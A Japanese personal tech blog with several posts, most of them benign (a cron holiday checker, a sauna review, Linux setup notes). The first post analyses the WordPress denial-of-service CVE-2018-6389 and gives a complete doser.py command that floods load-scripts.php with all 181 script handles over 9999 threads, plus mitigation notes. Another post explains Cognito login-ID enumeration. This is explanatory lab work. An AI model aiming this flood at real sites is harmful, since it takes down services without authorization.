knqyf263's blog

自分のためのメモとして残しておくためのブログ。

WordPressのDoS (CVE-2018-6389) について調べてみた

概要

CVE-2018-6389が出ていました。 WordPressDoSとのこと。
正直WordPress周りに使ってる人いないのですが、簡単な話だったので調べてみました。

最初にまとめておくと、JavascriptCSSを読み込む機能を悪用し大量の読み込みをリクエストすることでDoSになります。 そして重要なのは、このDoSWordPress脆弱性として認めておらず公式のパッチがリリースされていません(2018/02/07時点)。
なのでゼロデイの脆弱性になるかと思います。 昨日リリースされた 4.9.3で試したのですが、やはり再現するようでした。 発見者から修正が公開されているので、対応される場合はそちらを参照されるとよいかと思います。

脆弱性詳細

以下のリンクに全て書いてあります。以上。 baraktawily.blogspot.jp

ですがせっかく読んだので、少しまとめます。ざっとしか読んでないので間違ってたらそっと指摘して下さい。

WordPressには load-scripts.php というファイルが存在し、これは以下のように load[] パラメータを受け取ります。
https://WPServer/wp-admin/load-scripts.php?c=1&load%5B%5D=jquery-ui-core&ver=4.9.1

この場合は jquery-ui-core を指定しており、レスポンスではJavascriptのモジュールである jQuery UI Core が返ってきます。

f:id:knqyf263:20180207095215p:plain

つまり、jsやcssのファイルを複数ロードする機能を提供しているようです。これを使うことで1リクエストで一気に複数ファイルをロードできるので、効率的なのかなと思います。

このloadにはカンマ区切りで複数の値を渡せます。 コード的には以下のあたり。

$load = preg_replace( '/[^a-z0-9,_-]+/i', '', $load );
$load = array_unique( explode( ',', $load ) );

WordPress/load-scripts.php at aaf99e691391cfceb004d848450dbbf3344b1bee · WordPress/WordPress · GitHub

ただしuniqueされているので、以下のように jquery-ui-core を複数渡そうとしても1つになります。
https://localhost:8000/wp-admin/load-scripts.php?c=1&load%5B%5D=jquery-ui-core,jquery-ui-core,jquery-ui-core,jquery-ui-core,jquery-ui-core,jquery-ui-core&ver=4.9.1

実際にjsのモジュールを読み込む処理は以下の辺りですが、 array_key_exists でkeyの存在有無を確認しています。 つまり、 load[] に適当な文字列を渡したりしても読み込んでくれないということです。

foreach ( $load as $handle ) {
    if ( ! array_key_exists( $handle, $wp_scripts->registered ) ) {
        continue;
    }
    $path = ABSPATH . $wp_scripts->registered[ $handle ]->src;
    $out .= get_file( $path ) . "\n";
}

WordPress/load-scripts.php at aaf99e691391cfceb004d848450dbbf3344b1bee · WordPress/WordPress · GitHub

この $wp_scripts はどこで作られているかというと、以下の辺りです。

/**
 * Register all WordPress scripts.
 *
 * Localizes some of them.
 * args order: `$scripts->add( 'handle', 'url', 'dependencies', 'query-string', 1 );`
 * when last arg === 1 queues the script for the footer
 *
 * @since 2.6.0
 *
 * @param WP_Scripts $scripts WP_Scripts object.
 */
function wp_default_scripts( &$scripts ) {

WordPress/script-loader.php at aaf99e691391cfceb004d848450dbbf3344b1bee · WordPress/WordPress · GitHub

先ほどの jquery-ui-core も以下にあります。

// full jQuery UI
$scripts->add( 'jquery-ui-core', "/wp-includes/js/jquery/ui/core$dev_suffix.js", array( 'jquery' ), '1.11.4', 1 );
$scripts->add( 'jquery-effects-core', "/wp-includes/js/jquery/ui/effect$dev_suffix.js", array( 'jquery' ), '1.11.4', 1 );

WordPress/script-loader.php at aaf99e691391cfceb004d848450dbbf3344b1bee · WordPress/WordPress · GitHub

予め定義されたものしか読み込まないのだから安全!ということで終わりそうなものですが、発見者が調べたところこのリストに値は181個あったそうです。 そこで、181個のモジュールを要求するようなリクエストを投げてみたとのこと。単にカンマで繋ぐだけですね。 その結果、同時に181のI/Oが走り1リクエストを処理するのに2.2秒かかったとのこと。

1リクエストではサーバが落ちるところまでは行かなかったが、同時に多数のリクエストを投げたらどうか?ということで自作ツールである doser.py を使って9999スレッドでリクエストを投げたところ、500リクエストぐらいで応答がなくなり502/503/504 などのエラーになってしまったそうです。

発見者によるPoCの動画もあります。ただ、大したことやってないので自分で試したほうが速い気がします。 www.youtube.com

そしてこの攻撃のポイントは、認証が不要ということです。 load-scripts.php 自体は wp-admin の下にあるのでadmin権限がないと読み込まれないようにも見えますが、adminのログインページでも読み込まれるため実は認証不要で実行することが可能です。

試してみる

以下に置いておきました。

github.com

WordPressの起動

docker-composeで起動するように docker-compose.yml が書かれているので、以下のコマンドを打つだけです。

$ docker-compose up -d

ブラウザで確認

http://localhost:8000
言語選択とか出てますが、何も設定しなくても攻撃可能なので何もいじらなくて良いです。

攻撃する

単に並列にリクエスト投げられればよいだけなので、ツールはなんでも良いです。 今回はdeser.py を使ったのでダウンロードしてから使います。

$ python doser.py -g 'http://localhost:8000/wp-admin/load-scripts.php?c=1&load%5B%5D=eutil,common,wp-a11y,sack,quicktag,colorpicker,editor,wp-fullscreen-stu,wp-ajax-response,wp-api-request,wp-pointer,autosave,heartbeat,wp-auth-check,wp-lists,prototype,scriptaculous-root,scriptaculous-builder,scriptaculous-dragdrop,scriptaculous-effects,scriptaculous-slider,scriptaculous-sound,scriptaculous-controls,scriptaculous,cropper,jquery,jquery-core,jquery-migrate,jquery-ui-core,jquery-effects-core,jquery-effects-blind,jquery-effects-bounce,jquery-effects-clip,jquery-effects-drop,jquery-effects-explode,jquery-effects-fade,jquery-effects-fold,jquery-effects-highlight,jquery-effects-puff,jquery-effects-pulsate,jquery-effects-scale,jquery-effects-shake,jquery-effects-size,jquery-effects-slide,jquery-effects-transfer,jquery-ui-accordion,jquery-ui-autocomplete,jquery-ui-button,jquery-ui-datepicker,jquery-ui-dialog,jquery-ui-draggable,jquery-ui-droppable,jquery-ui-menu,jquery-ui-mouse,jquery-ui-position,jquery-ui-progressbar,jquery-ui-resizable,jquery-ui-selectable,jquery-ui-selectmenu,jquery-ui-slider,jquery-ui-sortable,jquery-ui-spinner,jquery-ui-tabs,jquery-ui-tooltip,jquery-ui-widget,jquery-form,jquery-color,schedule,jquery-query,jquery-serialize-object,jquery-hotkeys,jquery-table-hotkeys,jquery-touch-punch,suggest,imagesloaded,masonry,jquery-masonry,thickbox,jcrop,swfobject,moxiejs,plupload,plupload-handlers,wp-plupload,swfupload,swfupload-all,swfupload-handlers,comment-repl,json2,underscore,backbone,wp-util,wp-sanitize,wp-backbone,revisions,imgareaselect,mediaelement,mediaelement-core,mediaelement-migrat,mediaelement-vimeo,wp-mediaelement,wp-codemirror,csslint,jshint,esprima,jsonlint,htmlhint,htmlhint-kses,code-editor,wp-theme-plugin-editor,wp-playlist,zxcvbn-async,password-strength-meter,user-profile,language-chooser,user-suggest,admin-ba,wplink,wpdialogs,word-coun,media-upload,hoverIntent,customize-base,customize-loader,customize-preview,customize-models,customize-views,customize-controls,customize-selective-refresh,customize-widgets,customize-preview-widgets,customize-nav-menus,customize-preview-nav-menus,wp-custom-header,accordion,shortcode,media-models,wp-embe,media-views,media-editor,media-audiovideo,mce-view,wp-api,admin-tags,admin-comments,xfn,postbox,tags-box,tags-suggest,post,editor-expand,link,comment,admin-gallery,admin-widgets,media-widgets,media-audio-widget,media-image-widget,media-gallery-widget,media-video-widget,text-widgets,custom-html-widgets,theme,inline-edit-post,inline-edit-tax,plugin-install,updates,farbtastic,iris,wp-color-picker,dashboard,list-revision,media-grid,media,image-edit,set-post-thumbnail,nav-menu,custom-header,custom-background,media-gallery,svg-painter&ver=4.9' -t 9999

この状態で再度ブラウザで確認するとアクセスできなくなっているかと思います。

対策

概要でも述べたように、発見者がWordPressに報告したところ脆弱性として認められず、サーバやネットワークで軽減可能な類いなものと回答されたようです。 そこで、発見者はWordPressをforkして独自にpatchを当てたものを公開しています。
管理者のみが load-scripts.php を実行できるようにする変更のようです(多分)。 github.com

ですが、このforkは今後のアップデートに追従しないでしょうし、こっちを使うのは現実的ではない気がします。 既存のWordPressにpatchを当てるためのbashスクリプトも公開しているので、こちらを使うほうがまだ良い気がします(試していないですが)。 WordPress/wp-dos-patch.sh at master · Quitten/WordPress · GitHub

しかしこの方法も今後のアップデート時に困りそうですし、十分にテストされてない可能性もあるのでWAFなどで頑張るのが現実的でしょうか。

Impervaによる解説は以下です。2要素認証を入れたりレートリミットを入れる方法なども挙げられています。 www.imperva.com

※2018/02/14追記 /wp-admin/以下にBasid/Digest認証かけるとか、IPアドレス制限かけるとかの意見も出ているようでした。そういったことができそうな環境であれば、そちらを試してみても良さそうです。

まとめ

大量にファイルを読み込ませるだけの単純な攻撃ですが、認証不要でパッチもないということで影響大きい気がします。 画一的な対応が難しそうなので、影響度を考慮して各自で対応を取る感じになるかと思います。

cronで祝日判定するためのコマンドを作った

概要

cronで営業日だけ動かしたいコマンドとかある時に、いちいちプログラム書くのも面倒だったので、 && とかで繋いで簡単に判定するためのコマンドを作りました。
rpmdebもあるので、簡単にインストールして利用可能です。

営業時間に1時間ごとに動かしたい場合は以下のような感じ。

00 9-18 * * 1-5 holiday_jp-go || command

github.com

経緯

GitHubでレビュワーとしてアサインされてるのにレビューし忘れる場合が多くて、もう1時間に1回レビューしてないPRを通知したろ!ということでcronを仕込みました(そもそもレビュー忘れとか皆さんはどうやって解決してるんですかね...?)。
で、自分は休日もPRとか作ってしれっとアサインするんですが、営業日になったら通知して欲しくて例によって祝日判定をしたくなりました。
そういう時にcronで || とか && で繋いで判定するコマンド標準であるだろ〜と思って調べたら意外と見つからなかったです。
祝日判定も他の人がどうやってるのか知りたいです。

唯一自分のニーズに合ったものを見つけたのですが、Pythonでした。
GitHub - emasaka/jpholidayp: Is it holiday today in Japan?

最近Goばかり書いている自分は、pipとかでインストールするのも面倒に感じるほど脳が後退しているので、ワンバイナリでサーバにシュッと置きたいなーと思ってGoで書きました。
あとCentOS 6とか作ってるとPython 2.6だったりして色々面倒で、真面目に使う時はvenvとかも使いますがちょっとしたサーバに入れるならやっぱりrpmとかで入れたいよなーと思ってます。

実装

祝日自体は以下のholiday_jpのyamlを使わせていただきました。
GitHub - holiday-jp/holiday_jp: Japanese holiday datasets

ファイルとしてサーバにYAML置くのも嫌だったので、 go-assets 使ってバイナリに埋め込みました。
なので本当にバイナリを1つだけ置けば動きます。

ただ、もちろんお気付きの通り祝日が変わると対応できないです。
ネットワーク経由で取ってきてキャッシュして、定期的にアクセスして更新して〜とやった方が厳密なのは分かるのですが、そこまでシビアな用途じゃなかったのでポータビリティ性を重視してAssetにしました。 祝日変わったらバイナリをアップデートする感じでいいかなと思っています。
逆に祝日判定を間違ったら死ぬようなシビアな用途では使えない感じになってます。 YAMLには2050年の祝日まであるので、期間が問題になることはないかなと。

30分ぐらいで作ったのでコードも50行ぐらいしかないです。
何かおかしかったら直します。

インストール

READMEに書いたとおりです。

RedHat, CentOS

$ sudo rpm -ivh https://github.com/knqyf263/holiday_jp-go/releases/download/v0.0.1/holiday_jp-go_0.0.1_linux_amd64.rpm

Debian, Ubuntu

$ wget https://github.com/knqyf263/holiday_jp-go/releases/download/v0.0.1/holiday_jp-go_0.0.1_linux_amd64.deb
$ sudo dpkg -i holiday_jp-go_0.0.1_linux_amd64.deb

その他

以下からバイナリをダウンロード Releases · knqyf263/holiday_jp-go · GitHub

挙動

実行しても特に何も出力されないですが、終了ステータスで判定できます。

0: holiday
1: not holiday
2: error

土日または祝日の場合は0(成功)になります。

crontabなどで使う想定です。
祝日だけに実行したい場合

holiday_jp-go && some-command

営業日だけに実行したい場合

holiday_jp-go || some-command

まとめ

バイナリ置くだけでcronなどで使える祝日判定コマンドを作りました。
祝日の更新は自動で追従しないので(元号変わって祝日変わったりとか)、シビアな用途では使えないです(更新機能必要な人がいればPR待ってます)。
ただ、企業の特別な休みとかに対応できないので、そういうのも休日と判定したいニーズとかあるかもなーと作った後に思いました。

Cognitoを使うとログインID(メールアドレス等)が存在するかどうか判別可能になる

概要

タイトルに書いた以上のことはないのですが、Amazon Cognitoではログイン時のエラーで、ログインIDが存在する場合と存在しない場合が判別可能になります。
知らずに使い始めて、あとで困る人がいると良くないなと思ったので一応書いておきます。

詳細

CognitoはIDaaSとして利用でき、自分でID/PWを管理する必要がなくなるので非常に便利です。
自分で実装すると、パスワードにソルト付けてハッシュ化して...など考えることは多いです。
しかしCognitoを使えばそういう悩みから開放されるため、今開発してるサービスでも利用しています。

ログイン

CognitoはJavascriptから利用する事が多いかと思いますが、awsが提供しているSDKがあるため普通であればこちらを利用するかと思います。 GitHub - aws/amazon-cognito-identity-js: Amazon Cognito Identity SDK for JavaScript

ドキュメントを読むとUse case 4に以下のようなコードがあります。

  var authenticationData = {
        Username : 'username',
        Password : 'password',
    };
    var authenticationDetails = new AWSCognito.CognitoIdentityServiceProvider.AuthenticationDetails(authenticationData);
    var poolData = {
        UserPoolId : '...', // Your user pool id here
        ClientId : '...' // Your client id here
    };
    var userPool = new AWSCognito.CognitoIdentityServiceProvider.CognitoUserPool(poolData);
    var userData = {
        Username : 'username',
        Pool : userPool
    };
    var cognitoUser = new AWSCognito.CognitoIdentityServiceProvider.CognitoUser(userData);
    cognitoUser.authenticateUser(authenticationDetails, {
        onSuccess: function (result) {
            console.log('access token + ' + result.getAccessToken().getJwtToken());

            //POTENTIAL: Region needs to be set if not already set previously elsewhere.
            AWS.config.region = '<region>';

            AWS.config.credentials = new AWS.CognitoIdentityCredentials({
                IdentityPoolId : '...', // your identity pool id here
                Logins : {
                    // Change the key below according to the specific region your user pool is in.
                    'cognito-idp.<region>.amazonaws.com/<YOUR_USER_POOL_ID>' : result.getIdToken().getJwtToken()
                }
            });
            
            //refreshes credentials using AWS.CognitoIdentity.getCredentialsForIdentity()
            AWS.config.credentials.refresh((error) => {
                if (error) {
                     console.error(error);
                } else {
                     // Instantiate aws sdk service objects now that the credentials have been updated.
                     // example: var s3 = new AWS.S3();
                     console.log('Successfully logged!');
                }
            });
        },

        onFailure: function(err) {
            alert(err);
        },

    });

このauthenticateUserで認証をしています。
Web画面で言うとログイン画面で呼ばれることになるかと思います。

authenticateUser

ではこのauthenticateUserの中を見てみます。

github.com

ここの行を見るとAPIとしては initiateAuth を使っているようです(真面目に読んでないので間違っていたらすみません)

initiateAuth

initiateAuthについてはドキュメントがあるので、以下を確認してみます。

docs.aws.amazon.com

そうするとErrorsという項目があり、多くのエラーが定義されていることが分かります。
エラーを見ていくと、NotAuthorizedExceptionという項目があると思います。

説明を見ると、認証失敗時のエラーのようです。

NotAuthorizedException

This exception is thrown when a user is not authorized.
HTTP Status Code: 400

さらにドキュメントを読んでいくと、UserNotFoundExceptionという項目があります。 説明を読むと、名前から分かる通りユーザが存在しない場合に返されるエラーのようです。

UserNotFoundException

This exception is thrown when a user is not found.
HTTP Status Code: 400

ということで、Javascriptに返されるエラーからユーザが存在する場合と存在しない場合の判別が可能になります。

ユーザが存在するかどうか、というのは不必要情報にあたります。

メールアドレスの登録チェックが、余計なお世話に?:星野君のWebアプリほのぼの改造計画(8) - @IT

Cognitoではメールアドレスでのログインも可能なので、その場合はサービスに登録済みのメールアドレスか判別可能になってしまいます。

メールアドレスが登録済みか判別可能、というのは脆弱性診断をすると指摘項目になっていることも多いのですが、Cognitoを使っていると指摘されることになります。

スライドの通りログインIDが公開されているようなサイトの場合は気にしなくて良いかと思いますが、メールアドレスをログインIDとして使っていたり、他人に登録していることを知られたくないようなサイトの場合は問題になるかと思います。

www.slideshare.net

経緯

何とか設定で出来ないのかと思いサポートに問い合わせさせていただいたところ、「以前は分かれていなかったが、ユーザから判別したいという要望が多かったためエラーを分けた」とのことでした。
歴史的な背景でエラーが分かれたようです。

今も議論されているようで、GitHub Issueから確認できます。

github.com

緩和策

ということで現時点では設定でエラーを統一などすることは出来ないようです。
緩和策としてはサポートにも確認させて頂きましたが、サービスユーザに見せるエラーメッセージを統一するぐらいしかなさそうです。
通信を見ればどちらのエラーか判別可能なのでほとんど意味は無いのですが、ライト層にはほんの少し分かりにくくなるかな、という感じです。

まとめ

現時点ではCognitoはログインIDの存在有無を判別可能です。
メールアドレスなどをログインIDとして使ったりなど、判別されると困るケースではCognitoだと要件を満たさない可能性があります。
自分は知らずに使っていて、あとで少し困ったので誰かの助けになればと思います。

Vuls開発において重要なこと

Vuls Advent Calendar 2017 - Qiita の7日目の記事です。 前回ブログ更新していくって言ったのに一回で飽きてたので、結局ブログには久々に書きます。

Vulsの生誕について

Vulsはサウナおじさんが開発しました。 元々はネパールで修行したのがきっかけですが、その開発を支えていたのは他でもないサウナです。 また、コミッターである自分も実は昔からサウナ好きであり、Vuls開発においていかに重要であるかが分かるかと思います。 ということで、サウナについて書きます。

湯らっくす

ちょうど先週末に熊本に出張で行っていたのですが、出発前日に以下の記事を目にしました。

sauna-ikitai.com

これは行くしかない...ということで、行ってきました。
結論から言うと最高でした。サウナだけに限らず、施設全体が非常にくつろげるようになっていました。

古くからあるサウナ

熊本に住んでいる人に「明日湯らっくす行こうと思ってるんですよ〜」と話したところ、「え、あんなところ行きたいの?!」と言われました。
聞いたところ、湯らっくす自体は相当昔からあるようです。
どうやらオープンは何十年も前らしいです。

地元の人に聞くと大体知っている感じで、昔ながらの銭湯だと言っていました。
2017年7月にリニューアルして今は綺麗らしいと伝えたら驚いていましたし、リニューアルを知っている人は殆どいませんでした。地元の人は逆にそんな感じかもしれませんね。

外観

ということで早速行ってきました。
熊本駅から徒歩5分かと思っていたら、車で5分だったので歩くのは諦めてタクシーに乗りました。

到着したので写真撮りました。 こういうセンスが無いので雑な写真ですが、リニューアル直後なこともあって非常に非常に綺麗でした。

f:id:knqyf263:20171207223354p:plain f:id:knqyf263:20171207223820p:plain

よく分からないけど凄そうなオブジェもありました。 f:id:knqyf263:20171207224041p:plain

入り口

サ道のポスターが貼ってあり、サウナ推しな感じが伝わってきます。 f:id:knqyf263:20171207224157p:plain

券売機

最初に券売機でお金を払います。
ここで重要なことなのですが、1Fと2Fで料金が異なります。
1Fは590円なのですが、2Fは1300円になっています。

1F分だけ払うと温泉やサウナは楽しめますが、2Fに行くことは出来ません。2Fは漫画が置いてあったり横になれる場所があったり、休憩できるようになっています。2F料金には1F料金が含まれるので、1300円払えば温泉・サウナと休憩所全て楽しめます。

1F料金だけ払って中へ

あまり時間もないし1Fだけで良いかと思って入ったところ、超綺麗という感じでもなく昔ながらの銭湯っぽい感じでした。

とりあえず先にトイレでも行くか、と思ってトイレに入ったのですがウォシュレットのところに「リズム(2度押し)」と書いてあったのが衝撃的だったので思わず写真を取りました。 f:id:knqyf263:20171207230615p:plain

タオルがない

トイレから出て温泉に入ろうとしたところ、タオルがないことに気づきました。
普段行くスパはタオル代も含んでいたので油断していたのですが、タオルは別料金でした。
仕方ないので一度受付に戻って200円ほど払いフェイスタオルを買いました。
これから行かれる方はタオルの持参をおすすめします。

サウナ

湯らっくすにはサウナが3つあります。 - 「アウフグースサウナ」 - 「備長炭蒸風呂」 - 「メディテーションサウナ」

温泉の中なので写真はないですが、公式サイトを見て頂ければ雰囲気はつかめると思います。

熊本市のサウナ | 湯らっくす

アウフグースサウナ

1時間に1回アウフグース・イベントをやっています。

毎日12時〜翌1時まで、1時間ごとに、サウナ内でアウフグース・イベントを開催

ということで自分も座る時に使うタオルを取り、アウフグースサウナに入ってみました。 中はかなり広く、3段になっています。
温度計がなかったのですが、中は丁度よい温度でした。 熱すぎず何分でも入っていられる感じで、気づいたら汗が吹き出していました。

注意なのですが、時間によっては非常に人気で中は満員になっている時があります。 自分が入った時は丁度満席で、ぎゅうぎゅうのところに座りました。 これは実際結構きつくて、知らないおじさんと汗を擦り合う感じになります。 一旦出たあと少し温泉に入って戻ったところ、誰もいなくなっていました。 時間をずらせば広い部屋にゆったり入れてとても快適なので、満員なら少し温泉でも入りましょう。

メディテーションサウナ

これは男性専用のようですが、セルフロウリュ可能なサウナです。 ストーブもフィンランドから直接取り寄せているらしく、随所随所にこだわりが感じられます。 照明もデザイナーが手掛けただけあってオシャレ空間になっています。

他の人がストーブに水をかけると一気にもわ〜っときて気持ちよかったです。 ただ、あまり長く入っているのは辛いかもしれません。

備長炭蒸風呂

床下から蒸気が上がってきて蒸されます。 真ん中に塩が大量においてあり、最初何に使うのか分からず様子をうかがっていたところ、おじさんたちが大量に体に塗っていたので自分も塗りたくりました。染み入る感じでやみつきになります。

水風呂

自分はそこまで水風呂にこだわりがないのですが、湯らっくすの水風呂は最高でした。
何と天然水かけ流しらしいです。
水温も超低いです。入った瞬間死ぬ...って思うぐらいの冷たさで気持ちよかったです。
何か顔も寒くて息も白くなってて何でだ?と思ったのですが、湯らっくすの温泉は露天風呂と扉などなく直結しており、実質水風呂も外にあるような感じになってます。
なので外で水風呂入りたいと思っていた人にはおすすめです。

驚いたのは、「湯らっくすの水風呂は水をオーバーフローさせまくっているので、かけ湯してから入れば頭からOK」とサウナに書いてあることです。少し汚れてもすぐ新しい水と入れ変わるということのようです。

そしてそれを促すかのように水風呂の水深が深いです。 どのぐらいか忘れましたが、1.3mぐらいある気がします。 なので自分も遠慮なく頭まで入り、出た時にはふらっふらになってました。

ウォーターサーバー

サウナと水風呂を繰り返したあとは水をがぶ飲みしたくなると思いますが、中が必要です。 湯らっくすの紙コップは死ぬほど小さいです。3杯ぐらい飲んで1杯になるかならないか、ぐらいです。なので限界ぐらいまで我慢してからウォーターサーバーに行くと無限に占領することになります。こまめに水を摂取することをおすすめします。

そして2Fへ

これだけ整うとゆっくりゴロゴロして漫画でも読みたくなります。
1Fの料金しか払ってませんでしたが、2Fにも入れないか聞いてみました。 プラスで1300円は辛いな〜と思ったのですが、店員さんが優しく差分だけでOKとのことでした。

そして2Fに行こうとすると、途中にも温泉の入口がありました。 違う温泉なのかな?と思ったのですが、店員さんに聞いたところタオルが使い放題らしいです。
なんてこった...買っちまった... という気持ちになったので、先程タオル持参をオススメと言いましたが、ケチらずに最初から1300円払いましょう。

2Fあがったところですが、とてもオシャレです。 f:id:knqyf263:20171207234305p:plain

ソファもたくさんあります。 飛行機のファーストクラスのような感じでとても広く、くつろげます。

テレビも各椅子に完備で最高です。 f:id:knqyf263:20171207235124p:plain

さらに漫画も大量にあります。 f:id:knqyf263:20171207235300p:plain

クッションが大量にある部屋もあります。 f:id:knqyf263:20171207235342p:plain

自分は結局この部屋で漫画を読みながらゴロゴロして2時間ぐらいいました。

食事をするところもあり、無限にくつろぐことができます。

一番良い点

2Fは他にもヨガする部屋があったり、カプセルホテルみたいに泊まれるところがあったり、何もかも最高なのですが中でも一番良いのは、

空いている!!

ということです。 1Fの温泉・サウナは超混んでいたのですが、2Fは日曜にも関わらず全然人いませんでした。恐らく地元の人は温泉だけ入って帰るのでしょう。

東京でよくスパに行くのですが、休日はとにかく混んでいます。席取りに必死でくつろぐ余裕は殆どありません。

それを考えると好きな場所でゴロゴロできて、漫画を取りに行って帰る間に他人に間違って取られる心配もなく、もう本当に最高です。

まとめ

湯らっくすはサウナや水風呂にこだわっており最高の温泉施設でした。
サウナに入ったあと整った状態で漫画読みながらゴロゴロするのはこの上なく幸せな時間です。 仮にサウナ好きじゃなくても、温泉にゆっくり入ったあと2Fでくつろぐのは楽しいと思います。 遠方から行く人は自分のようにケチって1Fだけにせず、最初から2Fの券を買いましょう!
湯らっくすのためにだけにまた熊本行こうと思います。

f:id:knqyf263:20171208000256p:plain

Linux MintでApple Wireless KeyboardとMagic Trackpadを使ってみた

ブログ書くの相当久しぶりなんですが、たまには更新しようかと思います。
以前はKobitoが好きでQiitaに多く投稿していたのですが、家のメインをLinuxにしたらKobito使うの大変だしあんまりメリットがなくなったのでブログも書いてみるかーという感じです。すぐ辞めるかもしれませんが。。

概要

家のメインデスクトップをMacからLinuxに変更しました。
本当はiMac欲しかったのですが、さすがに値段的に厳しかったので同じスペックで圧倒的に安く買えるBTOパソコンで我慢しました。
ただ、仕事やラップトップはMacのままなのでLinuxでもAppleのキーボードとかトラックパッド使い続けたいなーという感じです。

あと最初は普通のキーボードを使っていたのですが、i3を使うときにWindowsキーをModキーにしてAltをCommandキーっぽく使っていたら押し間違いが多いし、少し慣れたらApple Wireless Keyboardが使いにくくなってMac使うときに困るし、ということで統一したくなりました。

環境

  • Linux Mint 18.1
  • bluez 5.37-0ubuntu5
  • Apple Wireless Keyboard
  • Magic Trackpad

参考

詳細

ハマると思っていたのですが、参考ページ通りにやったらすんなりといけて少し拍子抜けでした。 メモがてら残しておきます。

まず、自分のパソコンにはBluetooth機能がなかったので以下のアダプタを購入しました。 単にAmazonで一位だったから選んだだけで特に理由はないです。
Linuxで動くかわからなかったのですが、何とかなるだろうという軽い気持ちで購入しました。

Amazon | 【Newiy Start】Bluetooth4.0 USBアダプタ EDR/LE(省エネ) Windows10 apt-X対応 CSRスタック付属 ブルートゥース ドングル (抓み型) | Bluetoothアダプタ | パソコン・周辺機器 通販

次に参考ページ通りbluezを入れるのですが、Linux Mint 18 Xfceには元から入っていたのか、インストール済みでした。

# apt-get install bluez

認識されているか確認します。

$ hciconfig -a
hci0:   Type: BR/EDR  Bus: USB
    BD Address: [BDアドレス]  ACL MTU: 310:10  SCO MTU: 64:8
    UP RUNNING PSCAN ISCAN 
    RX bytes:3914528 acl:173416 sco:0 events:681 errors:0
    TX bytes:5957 acl:168 sco:0 commands:209 errors:0
    Features: 0xff 0xff 0x8f 0xfe 0xdb 0xff 0x5b 0x87
    Packet type: DM1 DM3 DM5 DH1 DH3 DH5 HV1 HV2 HV3 
    Link policy: RSWITCH HOLD SNIFF PARK 
    Link mode: SLAVE ACCEPT 
    Name: 'Name'
    Class: 0x0c0104
    Service Classes: Rendering, Capturing
    Device Class: Computer, Desktop workstation
    HCI Version: 4.0 (0x6)  Revision: 0x22bb
    LMP Version: 4.0 (0x6)  Subversion: 0x22bb
    Manufacturer: Cambridge Silicon Radio (10)

設定画面を起動します。 以下のコマンドを実行すればGUIで設定画面が表示されるので、適当に進めていけばOKです。

$ blueberry

キーバインドとかは直す必要がありますが、全く問題なく使えていてとても良いです。

まとめ

LinuxApple Wireless KeyboardやMagic Trackpadを使ってみましたが簡単でした。
Linuxのデスクトップで一番辛かったのは文字入力周りだったので、Macと統一できてかなり幸せになりました。
Commandキーしかないのでi3使うときに少し衝突するキーバインドがありますが、そこは何とかi3側を変えて乗り切ってます。

NetFlowコレクタの設定

以前NetFlowエージェントの設定をしたので(Open vSwitchでNetFlow設定 - knqyf263's blog)、今回はNetFlowコレクタの設定をしてみたいと思います。 使うのはnfdumpです。 基本的にmanページとか見れば全部書いてあることをまとめてみました。 つまり無意味です。

環境

NetFlowコレクタ
ツール:nfdump
OS:Ubuntu 13.10

NetFlowエージェントの設定

nfdumpのインストール

Ubuntuの場合はnfdumpがパッケージにあったのでapt-getするだけです。

# apt-get install nfdump

nfcapdの起動

nfdumpをインストールすると、他にも様々なパッケージがインストールされます。 その一覧は公式ページ NFDUMP に書いてあるので読んで頂ければ分かりますが、重要なのはnfdumpnfcapdです。 nfcapdはNetFlowのデータをキャプチャするdaemonで、収集したデータをdumpするのがnfdumpになっております。 ここではnfcapdの起動方法を説明します。

$ nfcapd -w -D -l ~/netflow -p 5566

-wをつけると一定時間で整形してファイルに書き出してくれる。-tでその時間を変えることが出来ます(デフォルトは5分)。-Ddaemonモードで起動。-lはファイルを書き出すディレクトリを指定できます。今回はnetflowディレクトリを作成し、そこに書きだすように指定しました。-pはポート番号で、以前NetFlowエージェントの設定で送信先ポートを5566にしたので、上記のように指定しました。

nfdumpの使い方

nfcapdを起動するとnfcapd.201401141350のようなファイルが書き出されます。 これらを表示するためにnfdumpを使います。 例えば以下の様なコマンドをうちます。

$ nfdump -r ./nfcapd.201401141350 -n 20 -o extended

-rで表示するファイルを指定します。-n 20はFlowの多い順Top 20を表示します。

基本的にmanページにsampleもあるので、色々試してみましょう。

virsh consoleの設定

virsh consoleの設定をすれば、virsh console <ホスト名>でコンソールをつかむことができます。 sshを入れ忘れた場合などに有効です。 例によってそのままやってみただけですが、メモとして残します。

環境

ホストOSはDebian 7.3で、ゲストOSはUbuntu 13.10のサーバー版とします。
また、Ubuntu 13.10のホスト名をhost01とします。

ホストOS:Debian 7.3(wheezy)
ゲストOS:Ubuntu 13.10 server
ゲストOSのホスト名:host01

参考サイト

KVMゲストOSへのコンソール接続設定 - jitsu102の日記
lost and found ( for me ? ): KVM: virsh コンソール接続 ( guest OS Ubuntu )

virsh consoleの設定

今回の作業は全てroot権限で行っています。

ホスト側の設定

VMシリアルコンソール接続があるか確認
# less /etc/libvirt/qemu/host01.xml
    <serial type='pty'>
      <target port='0'/>
    </serial>
    <console type='pty'>
      <target type='serial' port='0'/>
    </console>

上記のような記述があればOKです。 もしなければ、host01がシャットダウンされているのを確認してから、

# virsh edit host01

で上記の設定を追加してください。 私の環境ではデフォルトで入っていました。

VMの起動

上記設定の確認が終わったら、host01を起動します。

# virsh start host01

ゲスト側の設定

/etc/init/ttyS0.conf の作成

/etc/init/ttyS0.conf を新規作成します。 以下のように設定を書いてください。

# vim /etc/init/ttyS0.conf 
start on stopped rc RUNLEVEL=[2345]
stop on runlevel [!2345]

respawn
exec /sbin/getty -L 115200 ttyS0 vt102
ttyS0のスタート
# start ttyS0
ttyS0 start/running, process 1839
/etc/default/grubの編集

/etc/default/grubに以下の設定を追記してください。

# vim /etc/default/grub
+GRUB_CMDLINE_LINUX="console=tty0 console=ttyS0,115200n8"
+GRUB_SERIAL_COMMAND="serial --speed=115200 --unit=0 --word=8 --parity=no --stop=1"

動作確認

ここまでで設定は終わりなので、virsh consoleを試してみましょう。

# virsh console host01
Connected to domain host01
Escape character is ^]

Ubuntu 13.10 host01 ttyS0

host01 login:

こんな感じで出ていれば成功です。 ユーザ名とパスワードを入れてログインできます。 "Ctrl"+"]"で、ログアウトできます。